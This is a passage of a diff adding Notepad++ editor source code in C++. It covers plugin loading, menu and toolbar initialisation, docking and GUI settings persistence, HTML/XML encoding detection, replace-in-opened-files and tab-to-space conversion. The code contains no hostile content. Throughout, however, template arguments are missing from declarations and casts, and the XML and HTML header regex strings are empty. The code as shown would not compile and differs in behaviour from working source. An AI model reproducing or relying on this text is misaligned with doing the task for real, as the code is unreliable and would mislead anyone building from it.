Notepad++ is not in localConf mode, load plugins firstly from "%APPDATA%/Notepad++/plugins" + // All the dll loaded are marked. + bool isLoadFromAppDataAllow = ::SendMessage(_pPublicInterface->getHSelf(), NPPM_GETAPPDATAPLUGINSALLOWED, 0, 0) == TRUE; + + const TCHAR *appDataNpp = pNppParam->getAppDataNppDir(); + if (appDataNpp[0] && isLoadFromAppDataAllow) + _pluginsManager.loadPlugins(appDataNpp); + + generic_string localAppDataNppPluginsDir = pNppParam->getLocalAppDataNppDir(); + if (!localAppDataNppPluginsDir.empty() && isLoadFromAppDataAllow) + { + PathAppend(localAppDataNppPluginsDir, TEXT("plugins")); + _pluginsManager.loadPluginsV2(localAppDataNppPluginsDir.c_str()); + } + + // Load plugins from its installation directory. + // All loaded dll will be ignored + _pluginsManager.loadPlugins(); + + + _restoreButton.init(_pPublicInterface->getHinst(), hwnd); + + + // ------------ // + // Menu Section // + // ------------ // + + // Macro Menu + std::vector & macros = pNppParam->getMacroList(); + HMENU hMacroMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_MACRO); + size_t const posBase = 6; + size_t nbMacro = macros.size(); + if (nbMacro >= 1) + ::InsertMenu(hMacroMenu, posBase - 1, MF_BYPOSITION, static_cast(-1), 0); + + for (size_t i = 0 ; i < nbMacro ; ++i) + ::InsertMenu(hMacroMenu, static_cast(posBase + i), MF_BYPOSITION, ID_MACRO + i, macros[i].toMenuItemString().c_str()); + + if (nbMacro >= 1) + { + ::InsertMenu(hMacroMenu, static_cast(posBase + nbMacro + 1), MF_BYPOSITION, static_cast(-1), 0); + ::InsertMenu(hMacroMenu, static_cast(posBase + nbMacro + 2), MF_BYCOMMAND, IDM_SETTING_SHORTCUT_MAPPER_MACRO, TEXT("Modify Shortcut/Delete Macro...")); + } + + // Run Menu + std::vector & userCommands = pNppParam->getUserCommandList(); + HMENU hRunMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_RUN); + int const runPosBase = 2; + size_t nbUserCommand = userCommands.size(); + if (nbUserCommand >= 1) + ::InsertMenu(hRunMenu, runPosBase - 1, MF_BYPOSITION, static_cast(-1), 0); + + for (size_t i = 0 ; i < nbUserCommand ; ++i) + { + ::InsertMenu(hRunMenu, static_cast(runPosBase + i), MF_BYPOSITION, ID_USER_CMD + i, userCommands[i].toMenuItemString().c_str()); + } + + if (nbUserCommand >= 1) + { + ::InsertMenu(hRunMenu, static_cast(runPosBase + nbUserCommand + 1), MF_BYPOSITION, static_cast(-1), 0); + ::InsertMenu(hRunMenu, static_cast(runPosBase + nbUserCommand + 2), MF_BYCOMMAND, IDM_SETTING_SHORTCUT_MAPPER_RUN, TEXT("Modify Shortcut/Delete Command...")); + } + + // Updater menu item + if (!nppGUI._doesExistUpdater) + { + ::DeleteMenu(_mainMenuHandle, IDM_UPDATE_NPP, MF_BYCOMMAND); + ::DeleteMenu(_mainMenuHandle, IDM_CONFUPDATERPROXY, MF_BYCOMMAND); + HMENU hHelpMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_PLUGINS + 1); + if (!hHelpMenu) + hHelpMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_PLUGINS); + if (hHelpMenu) + ::DeleteMenu(hHelpMenu, 7, MF_BYPOSITION); // SEPARATOR + ::DrawMenuBar(hwnd); + } + //Languages Menu + HMENU hLangMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_LANGUAGE); + + // Add external languages to menu + for (int i = 0 ; i < pNppParam->getNbExternalLang() ; ++i) + { + ExternalLangContainer & externalLangContainer = pNppParam->getELCFromIndex(i); + + int numLangs = ::GetMenuItemCount(hLangMenu); + const int bufferSize = 100; + TCHAR buffer[bufferSize]; + + int x; + for (x = 0; (x == 0 || lstrcmp(externalLangContainer._name, buffer) > 0) && x < numLangs; ++x) + { + ::GetMenuString(hLangMenu, x, buffer, bufferSize, MF_BYPOSITION); + } + + ::InsertMenu(hLangMenu, x-1, MF_BYPOSITION, IDM_LANG_EXTERNAL + i, externalLangContainer._name); + } + + if (nppGUI._excludedLangList.size() > 0) + { + for (size_t i = 0, len = nppGUI._excludedLangList.size(); i < len ; ++i) + { + int cmdID = pNppParam->langTypeToCommandID(nppGUI._excludedLangList[i]._langType); + const int itemSize = 256; + TCHAR itemName[itemSize]; + ::GetMenuString(hLangMenu, cmdID, itemName, itemSize, MF_BYCOMMAND); + nppGUI._excludedLangList[i]._cmdID = cmdID; + nppGUI._excludedLangList[i]._langName = itemName; + ::DeleteMenu(hLangMenu, cmdID, MF_BYCOMMAND); + DrawMenuBar(hwnd); + } + } + + // Add User Define Languages Entry + int udlpos = ::GetMenuItemCount(hLangMenu) - 1; + + for (int i = 0, len = pNppParam->getNbUserLang(); i < len ; ++i) + { + UserLangContainer & userLangContainer = pNppParam->getULCFromIndex(i); + ::InsertMenu(hLangMenu, udlpos + i, MF_BYPOSITION, IDM_LANG_USER + i + 1, userLangContainer.getName()); + } + + //Add recent files + HMENU hFileMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_FILE); + int nbLRFile = pNppParam->getNbLRFile(); + //int pos = IDM_FILEMENU_LASTONE - IDM_FILE + 1 /* +1 : because of IDM_FILE_PRINTNOW */; + + _lastRecentFileList.initMenu(hFileMenu, IDM_FILEMENU_LASTONE + 1, IDM_FILEMENU_EXISTCMDPOSITION, &_accelerator, pNppParam->putRecentFileInSubMenu()); + _lastRecentFileList.setLangEncoding(_nativeLangSpeaker.getLangEncoding()); + for (int i = 0 ; i < nbLRFile ; ++i) + { + generic_string * stdStr = pNppParam->getLRFile(i); + if (!nppGUI._checkHistoryFiles || PathFileExists(stdStr->c_str())) + { + _lastRecentFileList.add(stdStr->c_str()); + } + } + + //Plugin menu + _pluginsManager.setMenu(_mainMenuHandle, NULL); + + //Main menu is loaded, now load context menu items + pNppParam->getContextMenuFromXmlTree(_mainMenuHandle, _pluginsManager.getMenuHandle()); + + if (pNppParam->hasCustomContextMenu()) + { + _mainEditView.execute(SCI_USEPOPUP, FALSE); + _subEditView.execute(SCI_USEPOPUP, FALSE); + } + + generic_string pluginsTrans, windowTrans; + _nativeLangSpeaker.changeMenuLang(_mainMenuHandle, pluginsTrans, windowTrans); + ::DrawMenuBar(hwnd); + + + if (_pluginsManager.hasPlugins() && pluginsTrans != TEXT("")) + { + ::ModifyMenu(_mainMenuHandle, MENUINDEX_PLUGINS, MF_BYPOSITION, 0, pluginsTrans.c_str()); + } + //Windows menu + _windowsMenu.init(_pPublicInterface->getHinst(), _mainMenuHandle, windowTrans.c_str()); + + // Update context menu strings (translated) + vector & tmp = pNppParam->getContextMenuItems(); + size_t len = tmp.size(); + TCHAR menuName[64]; + for (size_t i = 0 ; i < len ; ++i) + { + if (tmp[i]._itemName.empty()) + { + ::GetMenuString(_mainMenuHandle, tmp[i]._cmdID, menuName, 64, MF_BYCOMMAND); + tmp[i]._itemName = purgeMenuItemString(menuName); + } + } + + //Input all the menu item names into shortcut list + //This will automatically do all translations, since menu translation has been done already + vector & shortcuts = pNppParam->getUserShortcuts(); + len = shortcuts.size(); + + for (size_t i = 0; i < len; ++i) + { + CommandShortcut & csc = shortcuts[i]; + if (!csc.getName()[0]) + { //no predefined name, get name from menu and use that + ::GetMenuString(_mainMenuHandle, csc.getID(), menuName, 64, MF_BYCOMMAND); + csc.setName(purgeMenuItemString(menuName, true).c_str()); + } + } + //Translate non-menu shortcuts + _nativeLangSpeaker.changeShortcutLang(); + + //Update plugin shortcuts, all plugin commands should be available now + pNppParam->reloadPluginCmds(); + + // Shortcut Accelerator : should be the last one since it will capture all the shortcuts + _accelerator.init(_mainMenuHandle, hwnd); + pNppParam->setAccelerator(&_accelerator); + + // Scintilla key accelerator + vector scints; + scints.push_back(_mainEditView.getHSelf()); + scints.push_back(_subEditView.getHSelf()); + _scintaccelerator.init(&scints, _mainMenuHandle, hwnd); + + pNppParam->setScintillaAccelerator(&_scintaccelerator); + _scintaccelerator.updateKeys(); + + ::DrawMenuBar(hwnd); + + + //-- Tool Bar Section --// + toolBarStatusType tbStatus = nppGUI._toolBarStatus; + willBeShown = nppGUI._toolbarShow; + + // To notify plugins that toolbar icons can be registered + SCNotification scnN; + scnN.nmhdr.code = NPPN_TBMODIFICATION; + scnN.nmhdr.hwndFrom = hwnd; + scnN.nmhdr.idFrom = 0; + _pluginsManager.notify(&scnN); + + _toolBar.init(_pPublicInterface->getHinst(), hwnd, tbStatus, toolBarIcons, sizeof(toolBarIcons)/sizeof(ToolBarButtonUnit)); + + changeToolBarIcons(); + + _rebarTop.init(_pPublicInterface->getHinst(), hwnd); + _rebarBottom.init(_pPublicInterface->getHinst(), hwnd); + _toolBar.addToRebar(&_rebarTop); + _rebarTop.setIDVisible(REBAR_BAR_TOOLBAR, willBeShown); + + checkMacroState(); + + //--Init dialogs--// + _findReplaceDlg.init(_pPublicInterface->getHinst(), hwnd, &_pEditView); + _findInFinderDlg.init(_pPublicInterface->getHinst(), hwnd); + _incrementFindDlg.init(_pPublicInterface->getHinst(), hwnd, &_findReplaceDlg, _nativeLangSpeaker.isRTL()); + _incrementFindDlg.addToRebar(&_rebarBottom); + _goToLineDlg.init(_pPublicInterface->getHinst(), hwnd, &_pEditView); + _findCharsInRangeDlg.init(_pPublicInterface->getHinst(), hwnd, &_pEditView); + _colEditorDlg.init(_pPublicInterface->getHinst(), hwnd, &_pEditView); + _aboutDlg.init(_pPublicInterface->getHinst(), hwnd); + _debugInfoDlg.init(_pPublicInterface->getHinst(), hwnd, _isAdministrator, _pluginsManager.getLoadedPluginNames()); + _runDlg.init(_pPublicInterface->getHinst(), hwnd); + _md5FromFilesDlg.init(_pPublicInterface->getHinst(), hwnd); + _md5FromTextDlg.init(_pPublicInterface->getHinst(), hwnd); + _runMacroDlg.init(_pPublicInterface->getHinst(), hwnd); + _documentPeeker.init(_pPublicInterface->getHinst(), hwnd); + + //--User Define Dialog Section--// + int uddStatus = nppGUI._userDefineDlgStatus; + UserDefineDialog *udd = _pEditView->getUserDefineDlg(); + + bool uddShow = false; + switch (uddStatus) + { + case UDD_SHOW: // show & undocked + { + udd->doDialog(true, _nativeLangSpeaker.isRTL()); + _nativeLangSpeaker.changeUserDefineLang(udd); + uddShow = true; + break; + } + case UDD_DOCKED: // hide & docked + { + _isUDDocked = true; + break; + } + case (UDD_SHOW | UDD_DOCKED) : // show & docked + { + udd->doDialog(true, _nativeLangSpeaker.isRTL()); + _nativeLangSpeaker.changeUserDefineLang(udd); + ::SendMessage(udd->getHSelf(), WM_COMMAND, IDC_DOCK_BUTTON, 0); + uddShow = true; + break; + } + + default: // hide & undocked + break; + } + + // + // Menu & toolbar for UserDefine Dialog + // + checkMenuItem(IDM_LANG_USER_DLG, uddShow); + _toolBar.setCheck(IDM_LANG_USER_DLG, uddShow); + + // + // Initialize the default foreground & background color + // + { + StyleArray & globalStyles = (NppParameters::getInstance())->getGlobalStylers(); + int i = globalStyles.getStylerIndexByID(STYLE_DEFAULT); + if (i != -1) + { + Style & style = globalStyles.getStyler(i); + (NppParameters::getInstance())->setCurrentDefaultFgColor(style._fgColor); + (NppParameters::getInstance())->setCurrentDefaultBgColor(style._bgColor); + } + } + + // + // launch the plugin dlg memorized at the last session + // + DockingManagerData& dmd = nppGUI._dockingData; + + _dockingManager.setDockedContSize(CONT_LEFT , nppGUI._dockingData._leftWidth); + _dockingManager.setDockedContSize(CONT_RIGHT , nppGUI._dockingData._rightWidth); + _dockingManager.setDockedContSize(CONT_TOP , nppGUI._dockingData._topHeight); + _dockingManager.setDockedContSize(CONT_BOTTOM, nppGUI._dockingData._bottomHight); + + for (size_t i = 0, len = dmd._pluginDockInfo.size(); i < len ; ++i) + { + PluginDlgDockingInfo& pdi = dmd._pluginDockInfo[i]; + if (pdi._isVisible) + { + if (pdi._name == NPP_INTERNAL_FUCTION_STR) + _internalFuncIDs.push_back(pdi._internalID); + else + _pluginsManager.runPluginCommand(pdi._name.c_str(), pdi._internalID); + } + } + + for (size_t i = 0, len = dmd._containerTabInfo.size(); i < len; ++i) + { + ContainerTabInfo & cti = dmd._containerTabInfo[i]; + _dockingManager.setActiveTab(cti._cont, cti._activeTab); + } + + //Load initial docs into doctab + loadBufferIntoView(_mainEditView.getCurrentBufferID(), MAIN_VIEW); + loadBufferIntoView(_subEditView.getCurrentBufferID(), SUB_VIEW); + activateBuffer(_mainEditView.getCurrentBufferID(), MAIN_VIEW); + activateBuffer(_subEditView.getCurrentBufferID(), SUB_VIEW); + //::SetFocus(_mainEditView.getHSelf()); + _mainEditView.getFocus(); + + return TRUE; +} + +void Notepad_plus::killAllChildren() +{ + _toolBar.destroy(); + _rebarTop.destroy(); + _rebarBottom.destroy(); + + if (_pMainSplitter) + { + _pMainSplitter->destroy(); + delete _pMainSplitter; + } + + _mainDocTab.destroy(); + _subDocTab.destroy(); + + _mainEditView.destroy(); + _subEditView.destroy(); + _invisibleEditView.destroy(); + + _subSplitter.destroy(); + _statusBar.destroy(); + + _scintillaCtrls4Plugins.destroy(); + _dockingManager.destroy(); +} + +bool Notepad_plus::saveGUIParams() +{ + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + nppGUI._toolbarShow = _rebarTop.getIDVisible(REBAR_BAR_TOOLBAR); + nppGUI._toolBarStatus = _toolBar.getState(); + + nppGUI._tabStatus = (TabBarPlus::doDragNDropOrNot()?TAB_DRAWTOPBAR:0) | \ + (TabBarPlus::drawTopBar()?TAB_DRAGNDROP:0) | \ + (TabBarPlus::drawInactiveTab()?TAB_DRAWINACTIVETAB:0) | \ + (_toReduceTabBar?TAB_REDUCE:0) | \ + (TabBarPlus::drawTabCloseButton()?TAB_CLOSEBUTTON:0) | \ + (TabBarPlus::isDbClk2Close()?TAB_DBCLK2CLOSE:0) | \ + (TabBarPlus::isVertical() ? TAB_VERTICAL:0) | \ + (TabBarPlus::isMultiLine() ? TAB_MULTILINE:0) |\ + (nppGUI._tabStatus & TAB_HIDE) | \ + (nppGUI._tabStatus & TAB_QUITONEMPTY); + nppGUI._splitterPos = _subSplitter.isVertical()?POS_VERTICAL:POS_HORIZOTAL; + UserDefineDialog *udd = _pEditView->getUserDefineDlg(); + bool b = udd->isDocked(); + nppGUI._userDefineDlgStatus = (b?UDD_DOCKED:0) | (udd->isVisible()?UDD_SHOW:0); + + // When window is maximized GetWindowPlacement returns window's last non maximized coordinates. + // Save them so that those will be used when window is restored next time. + WINDOWPLACEMENT posInfo; + posInfo.length = sizeof(WINDOWPLACEMENT); + ::GetWindowPlacement(_pPublicInterface->getHSelf(), &posInfo); + + nppGUI._appPos.left = posInfo.rcNormalPosition.left; + nppGUI._appPos.top = posInfo.rcNormalPosition.top; + nppGUI._appPos.right = posInfo.rcNormalPosition.right - posInfo.rcNormalPosition.left; + nppGUI._appPos.bottom = posInfo.rcNormalPosition.bottom - posInfo.rcNormalPosition.top; + nppGUI._isMaximized = ((IsZoomed(_pPublicInterface->getHSelf()) != 0) || (posInfo.flags & WPF_RESTORETOMAXIMIZED)); + + saveDockingParams(); + (NppParameters::getInstance())->createXmlTreeFromGUIParams(); + return true; +} + +bool Notepad_plus::saveProjectPanelsParams() +{ + if (_pProjectPanel_1) + { + _pProjectPanel_1->checkIfNeedSave(TEXT("Project Panel 1")); + (NppParameters::getInstance())->setWorkSpaceFilePath(0, _pProjectPanel_1->getWorkSpaceFilePath()); + } + if (_pProjectPanel_2) + { + _pProjectPanel_2->checkIfNeedSave(TEXT("Project Panel 2")); + (NppParameters::getInstance())->setWorkSpaceFilePath(1, _pProjectPanel_2->getWorkSpaceFilePath()); + } + if (_pProjectPanel_3) + { + _pProjectPanel_3->checkIfNeedSave(TEXT("Project Panel 3")); + (NppParameters::getInstance())->setWorkSpaceFilePath(2, _pProjectPanel_3->getWorkSpaceFilePath()); + } + return (NppParameters::getInstance())->writeProjectPanelsSettings(); +} + +bool Notepad_plus::saveFileBrowserParam() +{ + if (_pFileBrowser) + { + vector rootPaths = _pFileBrowser->getRoots(); + generic_string selectedItemPath = _pFileBrowser->getSelectedItemPath(); + return (NppParameters::getInstance())->writeFileBrowserSettings(rootPaths, selectedItemPath); + } + return true; // nothing to save so true is returned +} + +void Notepad_plus::saveDockingParams() +{ + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + + // Save the docking information + nppGUI._dockingData._leftWidth = _dockingManager.getDockedContSize(CONT_LEFT); + nppGUI._dockingData._rightWidth = _dockingManager.getDockedContSize(CONT_RIGHT); + nppGUI._dockingData._topHeight = _dockingManager.getDockedContSize(CONT_TOP); + nppGUI._dockingData._bottomHight = _dockingManager.getDockedContSize(CONT_BOTTOM); + + // clear the container tab information (active tab) + nppGUI._dockingData._containerTabInfo.clear(); + + // create a vector to save the current information + vector vPluginDockInfo; + vector vFloatingWindowInfo; + + // save every container + vector vCont = _dockingManager.getContainerInfo(); + + for (size_t i = 0, len = vCont.size(); i < len ; ++i) + { + // save at first the visible Tb's + vector vDataVis = vCont[i]->getDataOfVisTb(); + + for (size_t j = 0, len2 = vDataVis.size(); j < len2 ; ++j) + { + if (vDataVis[j]->pszName && vDataVis[j]->pszName[0]) + { + PluginDlgDockingInfo pddi(vDataVis[j]->pszModuleName, vDataVis[j]->dlgID, int32_t(i), vDataVis[j]->iPrevCont, true); + vPluginDockInfo.push_back(pddi); + } + } + + // save the hidden Tb's + vector vDataAll = vCont[i]->getDataOfAllTb(); + + for (size_t j = 0, len3 = vDataAll.size(); j < len3 ; ++j) + { + if ((vDataAll[j]->pszName && vDataAll[j]->pszName[0]) && (!vCont[i]->isTbVis(vDataAll[j]))) + { + PluginDlgDockingInfo pddi(vDataAll[j]->pszModuleName, vDataAll[j]->dlgID, int32_t(i), vDataAll[j]->iPrevCont, false); + vPluginDockInfo.push_back(pddi); + } + } + + // save the position, when container is a floated one + if (i >= DOCKCONT_MAX) + { + RECT rc; + vCont[i]->getWindowRect(rc); + FloatingWindowInfo fwi(int32_t(i), rc.left, rc.top, rc.right, rc.bottom); + vFloatingWindowInfo.push_back(fwi); + } + + // save the active tab + ContainerTabInfo act(int32_t(i), vCont[i]->getActiveTb()); + nppGUI._dockingData._containerTabInfo.push_back(act); + } + + // add the missing information and store it in nppGUI + UCHAR floatContArray[50]; + memset(floatContArray, 0, 50); + + for (size_t i = 0, len4 = nppGUI._dockingData._pluginDockInfo.size(); i < len4 ; ++i) + { + BOOL isStored = FALSE; + for (size_t j = 0, len5 = vPluginDockInfo.size(); j < len5; ++j) + { + if (nppGUI._dockingData._pluginDockInfo[i] == vPluginDockInfo[j]) + { + isStored = TRUE; + break; + } + } + + if (isStored == FALSE) + { + int floatCont = 0; + + if (nppGUI._dockingData._pluginDockInfo[i]._currContainer >= DOCKCONT_MAX) + floatCont = nppGUI._dockingData._pluginDockInfo[i]._currContainer; + else + floatCont = nppGUI._dockingData._pluginDockInfo[i]._prevContainer; + + if (floatContArray[floatCont] == 0) + { + RECT rc; + if (nppGUI._dockingData.getFloatingRCFrom(floatCont, rc)) + { + vFloatingWindowInfo.push_back(FloatingWindowInfo(floatCont, rc.left, rc.top, rc.right, rc.bottom)); + } + floatContArray[floatCont] = 1; + } + if (i < nppGUI._dockingData._pluginDockInfo.size()) // to prevent from crash in debug mode + vPluginDockInfo.push_back(nppGUI._dockingData._pluginDockInfo[i]); + } + } + + nppGUI._dockingData._pluginDockInfo = vPluginDockInfo; + nppGUI._dockingData._flaotingWindowInfo = vFloatingWindowInfo; +} + + +void Notepad_plus::saveUserDefineLangs() +{ + if (ScintillaEditView::getUserDefineDlg()->isDirty()) + (NppParameters::getInstance())->writeUserDefinedLang(); +} + + +void Notepad_plus::saveShortcuts() +{ + NppParameters::getInstance()->writeShortcuts(); +} + + +void Notepad_plus::saveFindHistory() +{ + _findReplaceDlg.saveFindHistory(); + (NppParameters::getInstance())->writeFindHistory(); +} + + +int Notepad_plus::getHtmlXmlEncoding(const TCHAR *fileName) const +{ + // Get Language type + TCHAR *ext = PathFindExtension(fileName); + if (*ext == '.') //extension found + { + ext += 1; + } + else + { + return -1; + } + NppParameters *pNppParamInst = NppParameters::getInstance(); + LangType langT = pNppParamInst->getLangFromExt(ext); + + if ((langT != L_XML) && (langT != L_HTML)) + return -1; + + // Get the beginning of file data + FILE *f = generic_fopen(fileName, TEXT("rb")); + if (!f) + return -1; + const int blockSize = 1024; // To ensure that length is long enough to capture the encoding in html + char data[blockSize]; + size_t lenFile = fread(data, 1, blockSize, f); + fclose(f); + + // Put data in _invisibleEditView + _invisibleEditView.execute(SCI_CLEARALL); + _invisibleEditView.execute(SCI_APPENDTEXT, lenFile, reinterpret_cast(data)); + + const char *encodingAliasRegExpr = "[a-zA-Z0-9_-]+"; + + if (langT == L_XML) + { + // find encoding by RegExpr + + const char *xmlHeaderRegExpr = ""; + + size_t startPos = 0; + size_t endPos = lenFile-1; + _invisibleEditView.execute(SCI_SETSEARCHFLAGS, SCFIND_REGEXP|SCFIND_POSIX); + + _invisibleEditView.execute(SCI_SETTARGETRANGE, startPos, endPos); + + auto posFound = _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(xmlHeaderRegExpr), reinterpret_cast(xmlHeaderRegExpr)); + if (posFound != -1 && posFound != -2) + { + const char *encodingBlockRegExpr = "encoding[ \\t]*=[ \\t]*\"[^\".]+\""; + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(encodingBlockRegExpr), reinterpret_cast(encodingBlockRegExpr)); + + const char *encodingRegExpr = "\".+\""; + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(encodingRegExpr), reinterpret_cast(encodingRegExpr)); + + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(encodingAliasRegExpr), reinterpret_cast(encodingAliasRegExpr)); + + startPos = int(_invisibleEditView.execute(SCI_GETTARGETSTART)); + endPos = _invisibleEditView.execute(SCI_GETTARGETEND); + + char encodingStr[128]; + _invisibleEditView.getText(encodingStr, startPos, endPos); + + EncodingMapper *em = EncodingMapper::getInstance(); + int enc = em->getEncodingFromString(encodingStr); + return (enc==CP_ACP?-1:enc); + } + return -1; + } + else // if (langT == L_HTML) + { + const char *htmlHeaderRegExpr = ""; + const char *htmlHeaderRegExpr2 = ""; + const char *charsetBlock = "charset[ \\t]*=[ \\t]*[^\"']+"; + const char *intermediaire = "=[ \\t]*.+"; + const char *encodingStrRE = "[^ \\t=]+"; + + int startPos = 0; + auto endPos = lenFile - 1; + _invisibleEditView.execute(SCI_SETSEARCHFLAGS, SCFIND_REGEXP|SCFIND_POSIX); + + _invisibleEditView.execute(SCI_SETTARGETRANGE, startPos, endPos); + + int posFound = static_cast(_invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(htmlHeaderRegExpr), reinterpret_cast(htmlHeaderRegExpr))); + + if (posFound == -1 || posFound == -2) + { + posFound = static_cast(_invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(htmlHeaderRegExpr2), reinterpret_cast(htmlHeaderRegExpr2))); + if (posFound == -1 || posFound == -2) + return -1; + } + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(charsetBlock), reinterpret_cast(charsetBlock)); + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(intermediaire), reinterpret_cast(intermediaire)); + _invisibleEditView.execute(SCI_SEARCHINTARGET, strlen(encodingStrRE), reinterpret_cast(encodingStrRE)); + + startPos = int(_invisibleEditView.execute(SCI_GETTARGETSTART)); + endPos = _invisibleEditView.execute(SCI_GETTARGETEND); + + char encodingStr[128]; + _invisibleEditView.getText(encodingStr, startPos, endPos); + + EncodingMapper *em = EncodingMapper::getInstance(); + int enc = em->getEncodingFromString(encodingStr); + return (enc==CP_ACP?-1:enc); + } +} + + +bool Notepad_plus::replaceInOpenedFiles() { + + ScintillaEditView *pOldView = _pEditView; + _pEditView = &_invisibleEditView; + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + Buffer * oldBuf = _invisibleEditView.getCurrentBuffer(); //for manually setting the buffer, so notifications can be handled properly + + Buffer * pBuf = NULL; + + int nbTotal = 0; + const bool isEntireDoc = true; + + if (_mainWindowStatus & WindowMainActive) + { + for (size_t i = 0, len = _mainDocTab.nbItem(); i < len ; ++i) + { + pBuf = MainFileManager->getBufferByID(_mainDocTab.getBufferByIndex(i)); + if (pBuf->isReadOnly()) + continue; + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + UINT cp = static_cast(_invisibleEditView.execute(SCI_GETCODEPAGE)); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + _invisibleEditView.setCurrentBuffer(pBuf); + _invisibleEditView.execute(SCI_BEGINUNDOACTION); + nbTotal += _findReplaceDlg.processAll(ProcessReplaceAll, FindReplaceDlg::_env, isEntireDoc); + _invisibleEditView.execute(SCI_ENDUNDOACTION); + } + } + + if (_mainWindowStatus & WindowSubActive) + { + for (size_t i = 0, len = _subDocTab.nbItem(); i < len; ++i) + { + pBuf = MainFileManager->getBufferByID(_subDocTab.getBufferByIndex(i)); + if (pBuf->isReadOnly()) + continue; + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, pBuf->getDocument()); + UINT cp = static_cast(_invisibleEditView.execute(SCI_GETCODEPAGE)); + _invisibleEditView.execute(SCI_SETCODEPAGE, pBuf->getUnicodeMode() == uni8Bit ? cp : SC_CP_UTF8); + _invisibleEditView.setCurrentBuffer(pBuf); + _invisibleEditView.execute(SCI_BEGINUNDOACTION); + nbTotal += _findReplaceDlg.processAll(ProcessReplaceAll, FindReplaceDlg::_env, isEntireDoc); + _invisibleEditView.execute(SCI_ENDUNDOACTION); + } + } + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); + _invisibleEditView.setCurrentBuffer(oldBuf); + _pEditView = pOldView; + + + if (nbTotal < 0) + _findReplaceDlg.setStatusbarMessage(TEXT("Replace in Opened Files: The regular expression to search is formed badly"), FSNotFound); + else + { + if (nbTotal) + enableCommand(IDM_FILE_SAVEALL, true, MENU | TOOLBAR); + TCHAR result[64]; + wsprintf(result, TEXT("Replace in Opened Files: %s occurrences replaced."), commafyInt(nbTotal).c_str()); + _findReplaceDlg.setStatusbarMessage(result, FSMessage); + } + return true; +} + + +void Notepad_plus::wsTabConvert(spaceTab whichWay) +{ + int tabWidth = static_cast(_pEditView->execute(SCI_GETTABWIDTH)); + int currentPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + int lastLine = _pEditView->lastZeroBasedLineNumber(); + int docLength = static_cast(_pEditView->execute(SCI_GETLENGTH) + 1); + if (docLength < 2) + return; + + int count = 0; + int column = 0; + int newCurrentPos = 0; + int tabStop = static_cast(tabWidth - 1); // remember, counting from zero ! + bool onlyLeading = false; + vector bookmarks; + vector folding; + + for (int i=0; iexecute(SCI_GETFOLDLEVEL, i) & SC_FOLDLEVELHEADERFLAG)) + if (_pEditView->execute(SCI_GETFOLDEXPANDED, i) == 0) + folding.push_back(i); + } + + char * source = new char[docLength]; + if (source == NULL) + return; + _pEditView->execute(SCI_GETTEXT, docLength, reinterpret_cast(source)); + + if (whichWay == tab2Space) + { + // count how many tabs are there + for (const char * ch=source; *ch; ++ch) + { + if (*ch == '\t') + ++count; + } + if (count == 0) + { + delete [] source; + return; + } + } + // allocate tabwidth-1 chars extra per tab, just to be safe + size_t newlen = docLength + count * (tabWidth - 1) + 1; + char * destination = new char[newlen]; + if (destination == NULL) + { + delete [] source; + return; + } + char * dest = destination; + + switch (whichWay) + { + case tab2Space: + { + // rip through each line of the file + for (int i = 0; source[i] != '\0'; ++i) + { + if (source[i] == '\t') + { + int insertTabs = tabWidth - (column % tabWidth); + for (int j = 0; j < insertTabs; ++j) + { + *dest++ = ' '; + if (i <= currentPos) + ++newCurrentPos; + } + column += insertTabs; + } + else + { + *dest++ = source[i]; + if (i <= currentPos) + ++newCurrentPos; + if ((source[i] == '\n') || (source[i] == '\r')) + column = 0; + else if ((source[i] & 0xC0) != 0x80) // UTF_8 support: count only bytes that don't start with 10...... + ++column; + } + } + *dest = '\0'; + break; + } + case space2TabLeading: + { + onlyLeading = true; + } + case space2TabAll: + { + bool nextChar = false; + int counter = 0; + bool nonSpaceFound = false; + for (int i=0; source[i] != '\0'; ++i) + { + if (nonSpaceFound == false) + { + while (source[i + counter] == ' ') + { + if ((column + counter) == tabStop) + { + tabStop += tabWidth; + if (counter >= 1) // counter is counted from 0, so counter >= max-1 + { + *dest++ = '\t'; + i += counter; + column += counter + 1; + counter = 0; + nextChar = true; + if (i <= currentPos) + ++newCurrentPos; + break; + } + else if (source[i+1] == ' ' || source[i+1] == '\t') // if followed by space or TAB, convert even a single space to TAB + { + *dest++ = '\t'; + i++; + column += 1; + counter = 0; + if (i <= currentPos) + ++newCurrentPos; + } + else // single space, don't convert it to TAB + { + *dest++ = source[i]; + column += 1; + counter = 0; + nextChar = true; + if (i <= currentPos) + ++newCurrentPos; + break; + } + } + else + ++counter; + } + + if (nextChar == true) + { + nextChar = false; + continue; + } + + if (source[i] == ' ' && source[i + counter] == '\t') // spaces "absorbed" by a TAB on the right + { + *dest++ = '\t'; + i += counter; + column = tabStop + 1; + tabStop += tabWidth; + counter = 0; + if (i <= currentPos) + ++newCurrentPos; + continue; + } + } + + if (onlyLeading == true && nonSpaceFound == false) + nonSpaceFound = true; + + if (source[i] == '\n' || source[i] == '\r') + { + *dest++ = source[i]; + column = 0; + tabStop = tabWidth - 1; + nonSpaceFound = false; + } + else if (source[i] == '\t') + { + *dest++ = source[i]; + column = tabStop + 1; + tabStop += tabWidth; + counter = 0; + } + else + { + *dest++ = source[i]; + counter = 0; + if ((source[i] & 0xC0) != 0x80) // UTF_8 support: count only bytes that don't start with 10...... + { 